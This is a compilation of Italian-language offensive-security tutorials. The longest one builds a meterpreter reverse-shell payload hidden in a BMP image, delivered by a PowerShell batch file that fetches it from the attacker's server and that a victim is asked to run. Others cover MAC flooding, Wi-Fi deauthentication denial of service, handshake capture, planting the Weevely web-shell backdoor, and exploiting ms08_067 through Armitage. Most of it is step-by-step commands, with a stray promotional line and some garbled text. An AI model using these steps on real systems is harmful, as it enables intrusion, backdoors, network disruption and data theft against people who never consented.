Nel passaggio 2, dobbiamo anche generare un payload non elaborato con l'aiuto del comando msfvenom di cui abbiamo già discusso negli articoli precedenti.

Per generare un payload non elaborato per Windows, utilizzeremo il seguente comando:

Comando: msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.220.135 LPORT=4444 -f raw >      

Msfvenom è una combinazione di msfpayload e msfencode, che renderebbe più facile per noi generare un payload e codificare allo stesso tempo. Per saperne di più su msfvenom, digitare " msfvenom -h ".

Ora torniamo allo strumento, il primo passo è generare uno shellcode dal file di payload non elaborato che abbiamo appena creato nel comando precedente.

Uno shellcode non è altro che un insieme di istruzioni che viene caricato in memoria per l'esecuzione; è scritto in assembly poiché le istruzioni scritte in assembly vengono eseguite direttamente da un sistema informatico. Una cosa da notare è che uno shellcode dipende dal sistema operativo, il che significa che uno shellcode scritto in Linux non funzionerà in Windows e viceversa.

Possiamo anche usare msfvenom per generare uno shellcode che ci restituisca una shell inversa; definiremo il payload, seguito da lhost, lport e anche, soprattutto, il parametro –b, che esclude i caratteri errati che abbiamo trovato in precedenza.

Ma ora useremo il modulo integrato di DKMC digitando " sc " per generare lo shellcode dal payload grezzo.

Dando l'istruzione " sc " a DKMC, verrà mostrata la schermata successiva di Generazione della parte shellcode in cui dobbiamo definire il percorso del payload grezzo generato dal comando msfvenom digitando "set source / root/Desktop/       ".

Qui,        è il nome del payload grezzo.

Dopo aver impostato il percorso di origine, basta digitare  run  nella stessa console che ti darà lo shellcode per un sistema operativo Windows specifico. Copia il testo dello shellcode sottostante e incollalo in un nuovo file di testo per usi futuri.

Ora digita " exit " per tornare alla schermata di benvenuto dello script DKMC e digita nuovamente " gen " per generare l'immagine BMP dannosa.

Qui nella schermata sopra, puoi vedere che ci sono 4 opzioni che dobbiamo definire con l'aiuto di  set  attribute. Di seguito abbiamo un'immagine sexy di Angelina Jolie che useremo come formato BMP.

Ora per impostare il tipo di immagine " set source /root/Desktop/jolie.bmp ".

Per impostare lo shellcode, digitate " set shellcode <incolla il codice qui> ".

E definisci anche il nome del file che verrà generato dopo aver codificato lo shellcode con l'immagine BMP digitando " set output output/virus.bmp " dove l'output è la stessa directory che abbiamo creato sopra nella stessa cartella DKMC.

Dopo aver impostato tutte le opzioni, digitare " run " nella stessa console che genererà una nuova immagine BMP con shellcode incorporato.

Ecco il percorso completo dell'immagine BMP appena creata ( /DKMC/output/virus.bmp ).

Ora torna di nuovo alla schermata di benvenuto e digita " ps " per generare il payload di PowerShell per l'hacking nel sistema operativo Windows.

Qui è necessario l'opzione URL digitando " set url http://<your localhost ip>:8080/virus.bmp " come mostrato di seguito.

Quindi digitare " run " per generare il codice PowerShell.

Copia il codice PowerShell generato in un nuovo file e salvalo come formato virus.bat . Puoi usare qualsiasi nome mentre salvi il codice.

Ora torna di nuovo alla schermata di benvenuto dello script DKMC e digita " web " per avviare il server web e consegnare l'immagine dannosa tramite connessione TCP.

Qui in questo modulo, devi solo impostare il numero di porta che abbiamo usato in precedenza, ad esempio 8080, digitando " set port 8080 " nella stessa console e digitare " run " alla fine che avvierà il tuo server web sulla porta 8080 per diffondere il dannoso immagine sulla rete.

Ora è il momento di configurare il listener multi-handler per ricevere tutte le connessioni sulla porta 4444 che abbiamo utilizzato nel primo passaggio durante la generazione del payload con l'aiuto di msfvenom.

Digita " msfconsole " per avviare Metasploit Framework . Metasploit è il test di penetrazione del coltellino svizzero ed è qualcosa che puoi utilizzare non solo per lo sfruttamento della rete ma anche per lo sfruttamento del web. Metasploit è un software open source gratuito che potrebbe essere utilizzato per automatizzare molte attività complesse.

Ora daremo un'occhiata ad alcuni dei comandi di base/importanti che possiamo usare per navigare attraverso Metasploit.

Qui, in questo scenario, utilizzeremo l'exploit multi-gestore digitando i seguenti comandi:

Questi comandi imposterebbero un listener sulla porta 4444. Quando il nostro agente viene eseguito sulla macchina della vittima, invierebbe una connessione inversa al nostro indirizzo IP locale sulla porta 4444.

Ora invia quel file batch che abbiamo creato sopra alla tua vittima che è seduta su un computer Windows e gli chiede di eseguire. Non appena il file batch è stato eseguito, riceverai una notifica di richiesta GET nello strumento DKMC con un codice di risposta 200 OK come mostrato di seguito:

E allo stesso tempo, è stata aperta una sessione meterpreter che puoi facilmente vedere digitando " sessioni " e digitare " sessioni 1 " per interagire con l'ID n. 1.

Basta digitare " sysinfo " per saperne di più sulla macchina di destinazione.

Meterpreter è un potente script che ci consente di eseguire la raccolta di dati, l'escalation dei privilegi e vari altri tipi di attacchi alla macchina vittima di cui abbiamo già discusso in tanti articoli.

Mac Flooding semplice e mirato [Kali Linux   .2]

   

L'idea alla base di un attacco MAC flooding è di inviare un'enorme quantità di risposte ARP a uno switch, sovraccaricando così la tabella cam dello switch. Una volta che lo switch si sovraccarica, entra in modalità hub, il che significa che inoltrerà il traffico a ogni singolo computer sulla rete. Tutto ciò che l'attaccante deve fare ora è eseguire uno sniffer per catturare tutto il traffico.

Questo attacco non funziona su ogni interruttore; molti switch più recenti hanno una protezione integrata contro un attacco.

Macof

Macof riempie la tabella delle camme in meno di un minuto circa, poiché invia un numero enorme di voci MAC, circa 155.000 al minuto, per essere precisi.

L'utilizzo è estremamente semplice. Tutto quello che dobbiamo fare è eseguire il comando " macof " dal nostro terminale. Questo strumento è già installato in tutte le versioni di Kali Linux.

Una volta che la tabella delle camme è stata allagata, possiamo aprire Wireshark e iniziare a catturare il traffico. Per impostazione predefinita, Wireshark è impostato per acquisire il traffico in modalità promiscua; tuttavia, non è necessario eseguire lo sniffing in modalità promiscua quando uno switch passa in modalità hub poiché il traffico è già promiscuo.

Ma in ARP Poisoning, il protocollo ARP si fiderebbe sempre che la risposta provenga dal dispositivo giusto. A causa di questo difetto di progettazione, non può in alcun modo verificare che la risposta ARP sia stata inviata dal dispositivo corretto. Il modo in cui funziona è che l'attaccante invierebbe una risposta ARP falsificata a qualsiasi computer su una rete per fargli credere che un determinato IP sia associato a un determinato indirizzo MAC, avvelenando così la sua cache ARP che tiene traccia degli indirizzi da IP a MAC.

Quindi questi due attacchi, ovvero ARP Poisoning e Mac Flooding, sono entrambi associati al protocollo ARP.

Per visualizzare ulteriori informazioni su macof, digita semplicemente " macof -h " che mostra tutte le migliori opzioni possibili.

Utilizzo: macof [-s src] [-d dst] [-e tha] [-x sport] [-y dport] [-i interfaccia] [-n volte]

Dove,

Per Simple Flooding, il comando è " macof -i eth0 -n 10 "

Per il Flooding mirato, il comando è " macof -i eth0 -n 10 -d 192.168.220.140 "

Alcune delle principali contromisure contro il MAC Flooding sono:

  1. Sicurezza porta: limita il numero di indirizzi MAC che si connettono a una singola porta sullo Switch.
  2. Implementazione di 802.1X: consente regole di filtraggio dei pacchetti emesse da un server AAA centralizzato basato sull'apprendimento dinamico dei client.
  3. Filtro MAC:  limita in una certa misura il numero di indirizzi MAC.

Yuki Chan – Lo strumento di test di penetrazione automatizzato – Kali Linux   .2

   

Yuki Chan è uno strumento di test di penetrazione automatizzato attraverso il quale è possibile controllare facilmente qualsiasi sito Web e raccogliere tutte le informazioni possibili come l'enumerazione del sito Web, il controllo della sicurezza SSL ecc.

Caratteristiche -

  1. Strumento completamente automatizzato
  2. Intel-Gathering con ricerca intelligente
  3. Analisi di vulnerabilità completa
  4. Controllo completo della sicurezza
  5. Integrazione con OSINT Framework
  6. Monitoraggio e supporto per l'enumerazione del sistema
  7. Modulo fuzzing
  8. Supporta anche il controllo CMS (come WPSCAN, JOOMSCAN ecc.)
  9. Offre anche il controllo della sicurezza SSL

Ed ecco l'elenco completo dei moduli supportati da Yuki-Chan:

Installazione di Yuki Chan in Kali Linux   .2

Prima di iniziare l'installazione di Yuki Chan, assicurati che sulla tua macchina Kali Linux siano installati questi strumenti:
Nmap, Wafw00f, WPScan, SSLScan, SSLyze.

Dopo l'installazione completa degli strumenti di cui sopra, puoi procedere con l'installazione di Yuki Chan e per l'installazione di Yuki-Chan, utilizzeremo il metodo Git Clone:

Comando: git clone https://github.com/Yukinoshita47/Yuki-Chan-The-Auto-Pentest.git

Nel passaggio successivo, dobbiamo concedere l'autorizzazione 777 ai seguenti file e directory:

chmod 777 wafninja joomscan install-perl-module.sh yuki.sh
chmod 777 Modulo/WhatWeb/whatweb

E dopo devi installare un modulo python digitando " pip install -r requirements.txt "

Per eseguire lo strumento Yuki Chan, digita " ./yuki.sh " nello stesso terminale che mostra una schermata di benvenuto.

Ora inserisci qualsiasi dominio che desideri pentest o scansiona.

[#] Informazioni sulla porta aperta:

[#] Modulo TheHarvester

[#] Modulo Metagoofil

[#] Modulo Sublist3r

[#] Modulo WafW00f

[#] Modulo scanner XSS

[#] Modulo WPScan

[#] Modulo WPSeku

Trova l'IP reale dietro CloudFlare con CloudSnare Python Script

   

CloudFlare è uno dei provider CDN più popolari che offre un pacchetto completo di WAF, ovvero Web Application Firewall e protezione DDOS (Distributed Denial of Service) per i siti web.

Elenco delle funzionalità –

Con l'aiuto di CloudFlare, puoi facilmente nascondere il tuo server originale che ospita l'indirizzo IP, sia esso Ipv4 o Ipv6. Puoi configurare il tuo dominio con CloudFlare in meno di 5 minuti senza che sia necessario modificare il codice. Hanno circa più di 100 data center in tutto il mondo che aiutano il tuo sito a spingere e caricare più velocemente.

Ma c'è un sito Web ( http://www.crimeflare.com/cfs.html ) che afferma di poter facilmente trovare l'IP originale dietro qualsiasi servizio CloudFlare. CrimeFlare mantiene anche un database di IP che sembrano essere stati esposti.

Funzionalità –

Quando utilizzi il servizio CloudFlare, un certificato SSL/TLS viene registrato automaticamente da CloudFlare per il tuo dominio. Ciò significa che il traffico diretto al tuo sito viene inizialmente crittografato quando raggiunge i server di CloudFlare. Per mantenere un certificato attendibile, devi dimostrare a un certo livello di essere il proprietario di un dominio.

Questo onere della prova e il meccanismo di attendibilità semplificano l'associazione di veri IP del server ai domini protetti di CloudFlare. Utilizzando grandi set di dati che sono stati estratti da Internet, è possibile trovare server non CloudFlare associando certificati generati in precedenza con host live.

Trova l'IP reale con l'aiuto di Censys.io –

Censys.io è una grande risorsa che si basa sui set di dati di Scans.io. Entrambi sono incredibili archivi di informazioni che sono state raccolte scansionando Internet a intervalli regolari. Esistono diversi tipi di scansioni da DNS e FTP a scansioni HTTP/HTTPS di tutto lo spazio IPv4 pubblico. Censys ha gentilmente offerto un'API pubblica che i ricercatori possono utilizzare. Utilizzeremo i certificati prelevati da Internet per identificare potenziali server che si nascondono dietro CloudFlare.

Passaggi per configurare Censys.io –

Nella primissima fase, devi registrare un account gratuito su Censys.io .


Verifica l'account appena creato con la tua posta. (È possibile utilizzare qualsiasi provider di servizi di posta).

Successivamente, vai su Il mio account e vedrai una sezione denominata Credenziali API. Annotare sia l'ID API che l'ID segreto.

Scarica lo script Cloudsnare che è uno script basato su Python. Modifica il tuo file python con i dettagli dell'ID API e dell'ID segreto.

E alla fine devi anche installare il pacchetto censys che puoi facilmente installare digitando:

Comando: pip install censys

Ora finalmente esegui lo script Cloudsnare digitando " python cloudsnare.py website.com "

Mitigazione –

Dovresti limitare il traffico in entrata alle tue porte HTTP/HTTP e consentire solo connessioni da IP CloudFlare. Se sei preoccupato che CloudFlare cambi lo spazio IP, puoi utilizzare il dominio predefinito del tuo host durante la registrazione dei certificati.

Riferimento –  http://www.chokepoint.net/

Trova l'IP di un sito web con Python2 e Python3 – [5 esempi]

   

Python è un linguaggio di programmazione interpretato, orientato agli oggetti e di alto livello. Python può essere eseguito su quasi tutti i sistemi operativi. Sebbene non sia nativo per le macchine Windows, è nativo per la maggior parte delle distribuzioni Linux. La cosa grandiosa di Python è la sua flessibilità e utilità in molti ambienti.

Python non è limitato alla tua macchina locale. Puoi scrivere programmi/script Python per interagire con altri computer, sulla tua rete locale (LAN) o su Internet. Python può essere utilizzato per creare pagine Web interattive e alcuni dei migliori programmi.

Python può creare dipendenza! È facile da imparare e facile da programmare. Prima di continuare con questo tutorial, ti preghiamo di avere un impulso o una spinta per iniziare davvero la tua carriera di programmatore Python!

Esempio 1 - Trova l'IP del sito web con Python2 (senza alcuna eccezione)

Link per il download – https://github.com/      /domain2ip/blob/master/domain2ip1.py

Produzione -

Esempio 2: trova l'IP del sito Web con Python2 (con eccezione)

Link per il download – https://github.com/      /domain2ip/blob/master/domain2ip2.py

Produzione -

Esempio 3 - Trova l'IP del sito Web con Python2 (con metodo socket e modulo colorato)

Link per il download – https://github.com/      /domain2ip/blob/master/domain2ip3.py

Produzione -

Esempio 4 - Trova l'IP del sito Web con Python2 (con metodo di richiesta)

Link per il download – https://github.com/      /domain2ip/blob/master/domain2ip4.py

Produzione -

Esempio 5 - Trova l'IP del sito Web con Python3 (con modulo socket)

Link per il download – https://github.com/      /domain2ip/blob/master/domain2ip5.py

Produzione -

Parameth: uno strumento per la scoperta bruta dei parametri GET/POST

   

Parameth è uno strumento open source sviluppato da maK- (ovviamente un nome l33t) attraverso il quale puoi facilmente trovare URL GET e POST con un singolo comando.

Spesso quando si esegue il busting di una directory per file comuni, è possibile identificare gli script (ad esempio page.php, test.php, search.php) che sembrano dover passare un parametro sconosciuto.

Installazione di Parameth in Kali Linux –

Puoi installare facilmente lo strumento parameth con l'aiuto di Git digitando

" git clone https://github.com/maK-/parameth.git ".

Successivamente è necessario installare tutte le dipendenze elencate in " requisiti.txt " e per questo il comando è - " pip install -r requisiti.txt " che installerà tutti i pacchetti richiesti per eseguire parameth sul computer locale.

Per vedere la schermata della guida, digita " python parameth.py "

Utilizzo: parameth.py [-h] [-v] [-u URL] [-p PARAMS] [-H HEADER] [-a AGENT] [
-t THREADS] [-off VARIANCE] [-o OUT] [- P PROXY]
[-x IGNORE] [-s SIZEIGNORE] [-d DATA] [-i IGMETH]
[-c COOKIE]

Argomenti facoltativi:

Per scansionare un sito con parameth, digita “ python parameth.py -u “http://example.com/ ”

[Soluzione] Errore avviso di handshake SSL – Burp Suite

   

Proxy di applicazioni Web come Burp Proxy, WebScarab o Tamper Data Addon consentono a un tester di sicurezza di intercettare le richieste/risposte tra l'applicazione HTTP client e il server Web.

I proxy sono fondamentali per l'analisi dell'applicazione web. Portswigger Burp Suite è una suite di strumenti che ci permetterà di testare e ispezionare l'applicazione web di destinazione. Burp Proxy intercetta le richieste provenienti dal tuo browser permettendoti di modificarle prima che vengano effettivamente inviate al server remoto.

Sarai in grado di modificare manualmente o automaticamente l'intestazione e il contenuto della richiesta Ma a volte dovrai affrontare alcuni errori relativi a SSL come " avviso di stretta di mano: nome_non riconosciuto " per i siti Web HTTPS in particolare.

Questo problema è dovuto a un aggiornamento in Java 7, in cui il supporto SNI (Server Name Indication) era abilitato per impostazione predefinita. SNI è un'estensione del protocollo TLS. Indica quale nome host viene contattato dal browser all'inizio del processo di handshake.

I seguenti browser offrono supporto per SNI:

Ed ecco l'elenco di tutti i server che supportano SNI

La soluzione alternativa per correggere questo errore di avviso di stretta di mano è impostare jsse.enableSNIExtension su " false " con l'aiuto del comando seguente.

Comando: java -Djsse.enableSNIExtension=false -jar burpsuite.jar

Eseguendo il comando sopra, ora puoi intercettare facilmente la richiesta per i siti Web SSL.

Tuttavia, se il tuo sito Web utilizza SNI, la tua app non sarà in grado di connettersi.

Bypass SSID nascosto in una rete wireless [metodo di prova completa]

   

ESSID (Extended Service Set Identifier) ​​è la sequenza di caratteri che identificano in modo univoco una rete locale wireless. Nascondere l'ESSID è un metodo scadente per tentare di raggiungere la sicurezza attraverso l'oscurità; sfortunatamente, l'ESSID può essere ottenuto da:

Kali Linux è stato rilasciato con diversi strumenti per facilitare il test delle reti wireless; tuttavia, questi attacchi richiedono una configurazione completa per essere pienamente efficaci. Inoltre, i tester dovrebbero acquisire una solida esperienza nelle reti wireless prima di implementare attacchi o controllare una rete wireless.

Lo strumento più importante nei test di sicurezza wireless è l'adattatore wireless, che si connette al punto di accesso wireless. Deve supportare gli strumenti utilizzati, in particolare la suite di strumenti aircrack-ng ; in particolare, il chipset ei driver della scheda devono possedere la capacità di inserire pacchetti wireless in un flusso di comunicazione. Questo è un requisito per gli attacchi che richiedono l'inserimento di tipi di pacchetti specifici nel flusso di traffico tra il bersaglio e la vittima. I pacchetti iniettati possono causare una negazione del servizio, consentendo a un utente malintenzionato di acquisire i dati di handshake necessari per decifrare le chiavi di crittografia o supportare altri attacchi wireless.

Il sito aircrack-ng ( www.aircrack-ng.org ) contiene un elenco di adattatori wireless compatibili noti.

Gli adattatori più affidabili che possono essere utilizzati con Kali sono le schede ALFA NETWORK , in particolare gli adattatori AWUS036NH , che supportano i protocolli wireless 802.11 b, ge n. Le carte Alfa sono prontamente disponibili online e supporteranno tutti i test e gli attacchi sferrati utilizzando Kali.

Gli strumenti di aircrack sono particolarmente adatti per acquisire i dati necessari per scoprire un ESSID nascosto, come mostrato nei seguenti passaggi:

Al terminale, conferma che il wireless è abilitato sul sistema attaccante immettendo il seguente comando:

Comando: iwconfig

 

Abilita la tua interfaccia wireless inserendo quanto segue (potrebbe essere necessario sostituire wlan0 con un'interfaccia wireless disponibile identificata nel passaggio precedente):

Comando: airmon-ng start wlan0

Se riconfermi con ifconfig, vedrai che ora è in uso un indirizzo di monitoraggio o wlan0mon . Ora, usa airodump per confermare le reti wireless disponibili, come indicato nel seguente comando:

Comando: airodump-ng wlan0mon

Come puoi vedere, l'ESSID della terza rete è identificato solo come <length: 0>. Nessun altro nome o designazione viene utilizzato. La lunghezza dell'ESSID nascosto viene identificata come composta da alcuni caratteri; tuttavia, questo valore potrebbe non essere corretto poiché l'ESSID è nascosto. La vera lunghezza dell'ESSID potrebbe effettivamente essere più corta o più lunga di 10 caratteri.

Ciò che è importante è che potrebbero esserci client collegati a questa particolare rete. Se i client sono presenti, deautenticheremo il client, costringendolo a inviare l'ESSID quando si ricollegheranno al punto di accesso.

Riesegui airodump e filtra tutto tranne il punto di accesso di destinazione. In questo caso particolare, ci concentreremo sulla raccolta di dati dalla rete nascosta sul canale 11 utilizzando il seguente comando: " airodump-ng -c 11 wlan0mon "

L'esecuzione del comando rimuove l'output dalle molteplici sorgenti wireless e consente all'aggressore di concentrarsi sull'ESSID di destinazione.

I dati che otteniamo quando viene eseguito il comando airodump indicano che c'è una stazione ( 40:F0:2F:DC:7A:59 ) connessa al BSSID ( 84:10:0D:9E:A1:CD ) che è in turn associato all'ESSID nascosto.

Per acquisire l'ESSID mentre viene trasmesso, dobbiamo creare una condizione in cui sappiamo che verrà inviato, durante la fase iniziale della connessione tra un client e il punto di accesso.

Pertanto, lanceremo un attacco di deautenticazione sia contro il client che contro il punto di accesso inviando un flusso di pacchetti che interrompe la connessione tra di loro e li costringe a riautenticarsi.

Per lanciare l'attacco, apri un nuovo terminale e inserisci il comando come mostrato nello screenshot seguente.

Comando: aireplay-ng -0 10 -a 84:10:0D:9E:A1:CD -c 40:F0:2F:DC:7A:59 wlan0mon

Qui, 0 indica che stiamo lanciando un attacco di deautenticazione, 10 indica che invieremo 10 pacchetti di deautenticazione, -a è il punto di accesso di destinazione e c è l'indirizzo MAC del client):

Dopo che tutti i pacchetti di deautenticazione sono stati inviati, torna alla finestra originale che monitora la connessione di rete sul canale 11 , come mostrato nello screenshot seguente. Ora vedrai l'ESSID in chiaro.

Conoscere l'ESSID aiuta un utente malintenzionato a confermare che si sta concentrando sulla rete corretta (poiché la maggior parte degli ESSID si basa sull'identità aziendale) e facilita il processo di accesso.

Attacco di deautenticazione Wi-Fi contro il protocollo 802.11

   

Un attacco di deautenticazione Wi-Fi è un tipo di attacco denial-of-service che prende di mira la comunicazione tra un utente e un punto di accesso wireless Wi-Fi.

L'attacco finale contro le reti wireless che valuteremo è l'attacco denial-of-service, in cui un utente malintenzionato priva un utente legittimo dell'accesso a una rete wireless o rende la rete non disponibile provocandone l'arresto anomalo. Le reti wireless sono estremamente suscettibili agli attacchi DoS ed è difficile localizzare l'aggressore su una rete wireless distribuita.

Esempi di attacchi DoS includono quanto segue:

Per dimostrare quest'ultimo punto, creeremo un attacco denial-of-service inondando una rete con pacchetti di deautenticazione . Poiché il protocollo wireless 802.11 è progettato per supportare la deautenticazione alla ricezione di un pacchetto definito (in modo che un utente possa interrompere una connessione quando non è più necessario), questo può essere un attacco devastante: è conforme allo standard e non c'è nessun modo per impedire che accada.

Il modo più semplice per " espellere " un utente legittimo da una rete consiste nell'indirizzarlo con un flusso di pacchetti di deautenticazione. Questo può essere fatto con l'aiuto della suite di strumenti aircrack-ng usando il seguente comando:

Comando: aireplay-ng -0 0 -a (bssid) -c (Stazione) wlan0mon

Questo comando identifica il tipo di attacco come -0 , indicando che si tratta di un attacco di deautenticazione. Il secondo 0 (zero) avvia un flusso continuo di pacchetti di deautenticazione, rendendo la rete non disponibile per i suoi utenti.

Il framework Websploit è uno strumento open source utilizzato per scansionare e analizzare i sistemi remoti. Contiene diversi strumenti, inclusi strumenti specifici per gli attacchi wireless.

Per avviarlo, apri un terminale e digita semplicemente websploit . L'interfaccia Websploit è simile a quella di recon-ng e Metasploit Framework e presenta all'utente un'interfaccia modulare.

Una volta lanciato, usa il comando show modules per vedere i moduli di attacco presenti nella versione esistente.

Selezionare il disturbatore WiFi ( un flusso di pacchetti di deautenticazione ) utilizzando il comando use wifi/wifi_jammer .

Come mostrato nello screenshot sopra, l'attaccante deve solo usare i comandi set per impostare le varie opzioni e quindi selezionare run per lanciare l'attacco.

Ad esempio, se si desidera impostare il bssid della rete di destinazione a cui si desidera lanciare un attacco di deautenticazione, è sufficiente digitare " set bssid <indirizzo> " e lo stesso per il canale " set channel <numero canale> ".

Mantenimento dell'accesso con backdoor Web [Weevely]

   

Una volta che un server Web e i suoi servizi sono stati compromessi, è importante garantire che sia possibile mantenere un accesso sicuro . Questo di solito viene realizzato con l'aiuto di una web shell, un piccolo programma che fornisce un accesso nascosto alla backdoor e consente l'uso di comandi di sistema per facilitare le attività post-sfruttamento.

Kali viene fornito con diverse web shell; qui useremo una popolare web shell PHP chiamata Weevely.

Weevely simula una sessione Telnet e consente al tester o all'aggressore di sfruttare più di 30 moduli per attività post-sfruttamento, tra cui:

Infine, Weevely cerca di nascondere le comunicazioni nei cookie HTTP per evitare il rilevamento. Per creare Weevely, immetti il ​​seguente comando dal terminale:

Comando: genera weevely <password> <percorso>

Questo creerà il file weevely.php nella directory Desktop. Esecuzione di comandi su sistemi remoti che sono stati compromessi, anche se sono state applicate restrizioni di sicurezza PHP:

Utilizzando una vulnerabilità di caricamento file o qualsiasi altra compromissione, comprese quelle che danno accesso alle funzioni di caricamento file meterpreter, caricare weevely.php sul sito Web compromesso.

Per comunicare con la web shell, emettere il seguente comando dal terminale, assicurandosi che l'indirizzo IP di destinazione, la directory e le variabili della password vengano modificate per riflettere quelle del sistema compromesso:

Comando: weevely http://<indirizzo IP di destinazione>/<percorso> <password>

Nell'esempio mostrato nella schermata sopra, abbiamo verificato di essere connessi alla web shell utilizzando il comando uname -a ( che identifica la directory corretta ) e il comando pwd per vedere la directory di lavoro presente ( che conferma ancora una volta la sorgente della connessione come weevely.php ).

Il comando cat /etc/password è stato utilizzato per visualizzare le password.

La shell Web può essere utilizzata anche per stabilire una connessione shell inversa al tester, utilizzando Netcat o Metasploit Framework come listener locale.

Cattura l'indirizzo della stretta di mano con Airodump-ng e Aireplay-ng

   

Puoi facilmente catturare l'indirizzo di handshake con l'aiuto di Airodump attraverso il quale monitoreremo tutte le stazioni wireless e per deautenticare la stazione, useremo il pacchetto Aireplay che sono entrambi preinstallati nella macchina Kali Linux.

Bene, ora il tuo computer ha molti adattatori di rete, quindi per scansionarne uno devi conoscerne il nome. Quindi ci sono fondamentalmente le seguenti cose che devi sapere-

Ora, per visualizzare la configurazione dell'adattatore wireless, digitare " iwconfig " nello stesso terminale.

Se in ogni caso, wlan0 non viene visualizzato dalla tua parte, ciò è dovuto al fatto che le macchine virtuali non possono utilizzare schede wireless interne e dovrai utilizzare schede esterne come Alfa o Tp-Link.

Ora il primo passo è creare un'interfaccia virtuale per wlan0 che monitorerà tutti i pacchetti.

Comando: airmon-ng start wlan0

Verrà creata una nuova interfaccia, ad esempio wlan0mon, in modalità monitor.

Ora useremo airodump-ng per catturare i pacchetti nell'aria. Questo strumento raccoglie i dati dai pacchetti wireless in volo. Vedrai il nome del wifi che vuoi hackerare.

Comando: airodump-ng wlan0mon

Il passaggio successivo consiste nell'archiviare i pacchetti acquisiti in un file con l'aiuto dello stesso strumento airodump digitando il comando seguente:

Comando: airodump-ng mon0 -w <nome file>

Ora copia l' indirizzo bssid della tua rete di destinazione (dalla schermata airodump-ng ng) e lancia un attacco di deautenticazione con aireplay-ng contro il tuo indirizzo di destinazione digitando il seguente comando:

Comando: aireplay-ng –deauth 0 -a <BSSID> wlan0mon0

Il –deauth dice ad aireplay di lanciare un attacco deauth,
0 gli dice di spararlo a intervalli di 0 secondi (molto veloce quindi eseguilo solo per pochi secondi e premi ctrl+c), -a
richiederà BSSID e sostituirà BSSID qui con il tuo BSSID di destinazione,
wlan0mon è l'interfaccia che hai creato.

In caso di problemi con la modalità monitor che passa da un canale all'altro o problemi con il frame beacon, quindi correggere wlan0mon su un canale utilizzando-

Comando: airodump-ng mon0 -w <nomefile> -c <numero>

Sostituisci <numero> con il canale in cui si trova il tuo AP di destinazione.

Non appena uno dei client si è disconnesso, l'handshake verrà visualizzato nel terminale precedente come mostrato di seguito:

Puoi anche confermarlo digitando il seguente comando:

Comando: aircrack-ng <nomefile-01.cap>

Armitage - Sfruttamento approfondito di Windows (GUI) -  

   

È difficile parlare di qualsiasi sistema nel vuoto, in particolare un sistema che è così ampiamente distribuito in così tanti ruoli come Windows in tutte le sue versioni.

Per vedere con quanta facilità strumenti come Metasploit Framework possono sfruttare in remoto la vulnerabilità di Windows, useremo la versione GUI di Metasploit Framework che è così chiamata " ARMITAGE ".

Il componente Armitage di Metasploit è un'interfaccia utente grafica completamente interattiva creata da Raphael Mudge. Questa interfaccia è molto impressionante, ricca di funzionalità e disponibile gratuitamente. Non tratteremo molto l'armitage in profondità, ma vale sicuramente la pena menzionarlo come qualcosa da esplorare.

Le migliori caratteristiche disponibili in Armitage -

Armitage è già preinstallato in tutte le versioni di Kali Linux . Per avviare Armitage, eseguire il comando " armitage ". Durante l'avvio, seleziona Avvia MSF, che consentirà ad Armitage di connettersi alla tua istanza Metasploit.

Armitage richiede quanto segue:

Per gli utenti che riscontrano errori durante l'avvio di armitage, è possibile eseguire il comando seguente che creerà un file database.yml e quindi riavvierà armitage dallo stesso terminale che impiegherà circa 3-4 minuti per connettersi con l'interfaccia di Armitage – Kennith Fletcher, sviluppatore di consigli da Essay4Students .

Comando: msfdb init

Dopo che armitage è in esecuzione, come puoi vedere, armitage è pronto per far esplodere le cose quindi per lo sfruttamento di Windows, il percorso di flusso di base è

Nmap Quick Scan —-> Trova attacchi attraverso porte/vulnerabilità —–> Lancia attacco

Quindi, per aggiungere host, hai due modi, puoi aggiungere manualmente tutti gli host che vuoi sfruttare o semplicemente trovare tutti gli host tramite Nmap Quick Scan facendo clic su Host -> Nmap Scan -> Quick Scan (rilevamento del sistema operativo) .

Basta compilare l'intervallo in base alla serie che si desidera scansionare, qui in questo caso stiamo usando macchine virtuali quindi la nostra serie IP inizia da 192.168.179.* con subnet mask 255.255.255.0 che puoi anche denotare in questo modo cioè 192.168.179.0/24 .

Da qui armitage eseguirà la scansione di un intervallo o di un singolo indirizzo IP di tua scelta, quindi lo presenterà nella finestra nera. Potrebbe essere necessario del tempo per eseguire la scansione di tutti gli host a seconda dei sistemi in esecuzione online nella stessa serie.

Armitage è molto facile da usare. La sua GUI ha tre aree distinte: obiettivi, console e moduli .

Qui sotto puoi vedere che abbiamo trovato un sistema che è Windows XP il cui indirizzo IP è 192.168.179.129 che può o meno essere vulnerabile.

Ora il prossimo passo è trovare gli attacchi che puoi trovare facendo clic su " Attacchi -> Trova attacchi " che trova automaticamente tutti i possibili exploit per tutti i bersagli che puoi vedere nell'ambiente della finestra di destinazione.

Al termine dell'analisi dell'attacco, un avviso indica che ora è disponibile un menu in cui fare clic con il pulsante destro del mouse sul bersaglio facendo clic sul collegamento " Attacca ".

Quindi vai su "Windows XP Machine", fai clic destro su di esso e vai su " Attack -> SMB -> ms08_067_netapi ".

Ecco il menu di attacco che abbiamo selezionato smb exploit denominato ms08_067_netapi exploit di corruzione della memoria lo stesso che abbiamo fatto in questo articolo .

Questo farà apparire una finestra di conferma dell'attacco controlla i dettagli, fai clic su " Utilizza una connessione inversa " e fai semplicemente clic sul pulsante di avvio.

Un computer rosso con scosse elettriche indica un host compromesso, quindi ora puoi eseguire facilmente tutte le azioni sulla macchina di destinazione come sfogliare i file, acquisire screenshot del desktop, webcamshot, interagire con la shell ecc.

Per elencare tutti i dischi rigidi della macchina remota, basta fare clic con il tasto destro sull'icona di sistema e andare su " Meterpreter 1 -> Esplora -> Sfoglia file " che mostrerà tutte le unità e potrai facilmente caricare/scaricare qualsiasi cosa con quel sistema.

Come puoi vedere, ci sono fondamentalmente 4 opzioni, ovvero Carica, Crea directory, Elenca unità e Aggiorna. Qui, ora possiamo facilmente caricare qualsiasi dato, creare directory e persino eliminare, e la parte peggiore è che possiamo persino eseguire qualsiasi file sulla macchina vittima come RAT (Remote Administration Tool) e altre applicazioni eseguibili dannose per rendere il sistema instabile.

Ora proviamo a ottenere la shell meterpreter seguendo " Meterpreter 1 -> Interact -> Meterpreter Shell ".

Scansione TCP e SYN con Metasploit Framework senza NMAP

   

La scansione delle porte viene spesso eseguita da hacker e penetration tester per identificare e scoprire i servizi interni dell'host di destinazione. La scansione delle porte è un'azione importante per raccogliere più informazioni sull'host di destinazione.

Oggi vedremo come utilizzare Metasploit per eseguire la scansione delle porte. Come tutti sappiamo Metasploit Framework è un popolare Exploitation Framework gratuito e open source . Questo framework è ampiamente utilizzato da hacker e penetration tester professionisti.

